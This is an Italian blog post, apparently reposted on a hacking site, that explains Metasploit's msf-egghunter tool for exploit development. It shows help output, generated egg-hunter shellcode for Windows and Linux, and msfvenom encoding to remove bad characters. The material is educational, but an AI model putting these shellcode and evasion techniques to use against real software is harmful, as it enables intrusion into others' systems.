HackerSecret.it - Il Sito Italiano Più Autorevole sul Mondo dell'Hacking, del Penetration Testing e della CyberSecurity

  • Home
  • Visita il Nostro Shop
  • Scarica l’App gratuita
  • Contattaci per Info
VISITA IL NOSTRO SHOP ! CLICCA QUI !

Diamo un’occhiata a msf-egghunter

da Lo Staff di HackerSecret.it / lunedì, 02 Settembre 2019 / Pubblicato il Hacking
Share
Tweet
Pin

Lo scorso febbraio, su The Armored Code ho scritto un post che parlava di msf-egghunter, lo strumento distribuito insieme a Metasploit per scrivere un egg hunter.

Lo scorso anno, per la certificazione SLAE, mi ero già imbattuto in questa tecnica che ho trovato immediatamente affascinante.

Stiamo parlando di sviluppo di un exploit. Avete, in qualche modo, forzato la modifica del flusso di esecuzione del vostro programma vulnerabile (attraverso la sovrascrittura dell’EIP o attraverso la Structure Exception Handler, nel caso il target sia Windows) e siete nel punto dove dovete piazzare il vostro shellcode. A questo punto sorge un problema, il buffer nel quale siete è troppo piccolo per contenere una bind shell, una reverse shell o qualsiasi cosa utile a darvi un prompt.

Che fare? Semplice; andate a studiare il paper di Matt Miller, “Safetly Searching Process Virtual Address Space” e poi tornate qui.

Fatto? Molto bene. L’idea alla base di questa tecnica è quella di piazzare il nostro shellcode in un punto qualsiasi della memoria del processo da attaccare. Lo shellcode avrà in testa una sequenza di 4 byte, ripetuta 2 volte per evitare falsi positivi, che sarà interpretata come un indicatore di inizio per il nostro payload. Il codice dell’egg-hunter, che andremo a piazzare nel piccolo buffer di cui parlavamo prima, avrà il compito di cercare nella memoria del processo vittima, i 4 byte di inizio payload e, una volta trovati, far saltare l’esecuzione a quel punto in memoria.

Per la SLAE scrissi un semplice codice assembler che realizzava un egg-hunter. Oggi vediamo uno strumento messo a disposizione dal framework Metasploit: msf-egghunter.

[root:~/src/hacking/toolbox/utils]# msf-egghunter -h Usage: msf-egghunter [options] Example: msf-egghunter -f python -e W00T  Specific options:     -f, --format <String>            See --list-formats for a list of supported output formats     -b, --badchars <String>          (Optional) Bad characters to avoid for the egg     -e, --egg <String>               The egg (Please give 4 bytes)     -p, --platform <String>          (Optional) Platform         --startreg <String>          (Optional) The starting register         --forward                    (Optional) To search forward         --depreg <String>            (Optional) The DEP register         --depdest <String>           (Optional) The DEP destination         --depsize <Integer>          (Optional) The DEP size         --depmethod <String>         (Optional) The DEP method to use (virtualprotect/virtualalloc/copy/copy_size)     -a, --arch <String>              (Optional) Architecture         --list-formats               List all supported output formats     -v, --var-name <name>            (Optional) Specify a custom variable name to use for certain output formats     -h, --help                       Show this message

Semplice utilizzo del tool

L’utilizzo base di msf-egghunter è quello di scegliere la piattaforma (windows o linux) e l’architettura (a 32 o 64 bit). Unico parametro mandatorio sarà l’EGG da utilizzare per marcare l’inizio del nostro payload; useremo la stringa ‘BEEF’ allo scopo.

[root:~/src/hacking/toolbox/utils]# msf-egghunter -p windows -a x86 -f python -e BEEF buf =  "" buf += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c" buf += "\x05\x5a\x74\xef\xb8\x42\x45\x45\x46\x89\xd7\xaf\x75" buf += "\xea\xaf\x75\xe7\xff\xe7"  [root:~/src/hacking/toolbox/utils]# msf-egghunter -p linux -a x86 -f python -e BEEF buf =  "" buf += "\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c" buf += "\xf2\x74\xf1\xb8\x42\x45\x45\x46\x89\xcf\xaf\x75\xec" buf += "\xaf\x75\xe9\xff\xe7"

Evitare i bad characters

Quando stiamo scrivendo un exploit, siamo nella condizione di non poter utilizzare alcuni caratteri nel nostro payload. Magari a causa di una routine di filtro, alcuni codici ascii utilizzati nel nostro payload potrebbero non essere gestiti correttamente dal programma vittima e non copiati nelle proprie zone di memoria.

Vanno quindi rimossi e sembra che il parametro ‘-b’ sia lì proprio per quello peccato che, almeno nella versione di Metasploit 5.0.6-dev, non funzioni. Supponiamo io debba creare uno shellcode per Linux, architettura a 32 bit e voglia usare sempre ‘BEEF’ come egg.

[root:~/src/hacking/toolbox/utils]# msf-egghunter -p linux -a x86 -f python -e BEEF -b '\x66' buf =  "" buf += "\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c" buf += "\xf2\x74\xf1\xb8\x42\x45\x45\x46\x89\xcf\xaf\x75\xec" buf += "\xaf\x75\xe9\xff\xe7"

Come si può vedere, il nostro carattere ‘\x66’ è ancora lì al suo posto. Quindi? Quindi chiedo aiuto a msfvenom, strumento principe per la generazione dei payload e che è in grado di fare delle trasformazioni ad un shellcode arbitrario passato attraverso lo standard input.

[root:~/src/hacking/toolbox/utils]# msf-egghunter -p linux -a x86 -e BEEF -f raw | msfvenom -p - --platform linux -a x86 -b '\x66' -f python  Attempting to read payload from STDIN... Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 58 (iteration=0) x86/shikata_ga_nai chosen with final size 58 Payload size: 58 bytes Final size of python file: 292 bytes buf =  "" buf += "\xd9\xe9\xbd\x34\x49\xad\xb8\xd9\x74\x24\xf4\x5e\x29" buf += "\xc9\xb1\x08\x83\xc6\x04\x31\x6e\x16\x03\x6e\x16\xe2" buf += "\xc1\xb5\xcb\x39\xe0\xb9\x1b\x7b\x98\x06\x7c\xb6\xdc" buf += "\xb5\x8e\x3c\x2d\x7d\x2c\xf8\x88\x38\x38\xcd\xbd\xb0" buf += "\xd6\x7d\xb4\xd3\xd8\x65"

Ed ecco qui, il carattere ‘\x66’ è sparito. Quello che vi consiglio è di usare msfvenom per tutto quello che riguarda l’encoding e la trasformazione del vostro egg-hunter in pipe ad msf-egghunter.

Il cuore

Il cuore del codice di msf-egghunter è nella libreria rex-exploit sviluppata da Rapid7, il cui codice è disponibile qui su GitHub.

Dal codice possiamo leggere nei commenti i miglioramenti fatti rispetto al lavoro di Miller. Interessante il codice per [disabilitare il DEP]((https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/) scritto da corelandc0d3r.

Off by one

Per avere un esempio pratico, vi do il link di questo exploit che ho scritto per Base64 Decoder 1.1.2 mostra msf-egghunter in azione. A me questa tecnica piace un sacco, è divertente pensare al processo vittima che cerca in memoria il codice per bucarsi, lo esegue e ti restituisce una shell.

Enjoy it!

Codice Insicuro, blog di Cyber Security, sviluppo sicuro, code review e altro.

Share
Tweet
Pin
Taggato in: Diamo, msfegghunter, un'occhiata

Cerca nel Sito

Dicono di Noi

Francesca M. – Sistemista

Share
Tweet
Pin
 
Samuel D. – Hacker Etico

Share
Tweet
Pin
 
Carola M. – Influencer

Share
Tweet
Pin
 
Renato P. – Investigatore Privato

Share
Tweet
Pin
 
Rosaria S. – Casalinga

Share
Tweet
Pin
 
Paolo V. – Consulente Informatico

Share
Tweet
Pin
 
Matteo C. – Imprenditore

Share
Tweet
Pin
 
Alice B. – Studentessa di Informatica

Share
Tweet
Pin
 
Goffredo B. – Analista IT

Share
Tweet
Pin
 
Roberto C. – Programmatore

Share
Tweet
Pin
 

Clicca subito qui per visitare il nostro Shop!

Clicca subito qui per visitare il nostro Shop!

Altri 2300 utenti come te lo hanno già fatto quest'anno!

SCARICATA 1316 VOLTE!

SCARICATA 1316 VOLTE!

Scarica subito Hacker Secret la nostra app Android gratuita.

Contattaci Subito per un Supporto Immediato!

Contact Us
Scrivi il tuo indirizzo email qui
Scrivi qui come possiamo aiutarti - ti supportiamo immediatamente per ogni tua esigenza!

Gli ultimi articoli

  • sos-waveform

  • ICTSS 2020: the 32nd IFIP International Conference on Testing Software and Systems | 9 e 10 dicembre 2020

  • E tu di che tecnologia ti fai?

  • Port scanning e enumeration in WordPress con Nmap

  • Hacking democracy? Hacker russi, Wikileaks, propaganda, elezioni americane – Hacking democracy? Wikileaks, Russian hackers, US elections #ijf17

## Stai cercando prodotti per l’hacking, la sicurezza informatica e il penetration testing? Hai bisogno di bonificare il tuo smartphone, il tuo pc o il tuo sito da virus e malware? Devi rintracciare una persona o recuperare delle informazioni urgenti? Devi riprendere possesso di un account, una mail o di una password che ti hanno sottratto? Vuoi acquistare device già configurati per sperimentare tutte le tecniche di hacking in modo facile e veloce? Hai esigenze particolari in ambito software o hardware? ##

Contattaci subito…altri 2300 utenti come te lo hanno già fatto quest’anno!

Clicca subito qui!

Tutte le tecniche, i prodotti e i servizi descritti o contenuti in questo sito si intendono per uso esclusivo di studio e di aggiornamento professionale e per testare la sicurezza della propria rete informatica in accordo alle vigenti normative sull'accesso a sistemi informativi e telematici (cfr. art. 615 ter c.p. e successive modifiche).

TORNA SU
Nuovo Ordine!